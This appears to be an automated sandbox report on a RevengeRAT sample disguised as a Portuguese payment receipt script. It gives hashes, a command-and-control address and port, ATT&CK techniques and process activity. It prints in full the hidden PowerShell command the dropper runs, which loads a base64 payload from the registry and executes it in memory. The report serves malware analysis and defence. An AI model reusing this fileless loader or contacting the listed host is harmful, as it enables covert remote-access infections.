revengerat | 2e166d7183aca77bc9ebaa54d8048374aa780ece1ffc159ecf57ec75f96a8e4d

Analysis

max time kernel
120s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-12-2024 15:44

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General

Target

comprovantedepagamento.js
Size

116KB
MD5

0c3e47c0fb0d5a289fded25fd9746817
SHA1

2117b82b1724a2f146ffd015b50ce45c63d7fb87
SHA256

2e166d7183aca77bc9ebaa54d8048374aa780ece1ffc159ecf57ec75f96a8e4d
SHA512

bf8b2895fa9cf32c651d67ff68c3156dfd2f32e4fc9308ec5a190eaf942816feae1357086b150442c4359619356cf6cf3bd4e9bcf8d866b52c51b0c3978133ad
SSDEEP

1536:D12+GPp0PG/6Rn/T5d1XtQpm7GOzYCtFA:p2+GB0PG/sn/T5dt+IdG

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

38.51.135.44:333

Mutex

9822cb7521c94057

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2164	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2164	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2164	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2164	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 2164	2512	wscript.exe	30
PID 2512 wrote to memory of 2164	2512	wscript.exe	30
PID 2512 wrote to memory of 2164	2512	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\comprovantedepagamento.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2164-4-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

Filesize
4KB

Download
memory/2164-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2164-6-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2164-7-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-8-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-9-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-10-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-11-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-12-0x000000001B550000-0x000000001B55A000-memory.dmp

Filesize
40KB

Download
memory/2164-13-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

Filesize
4KB

Download
memory/2164-14-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download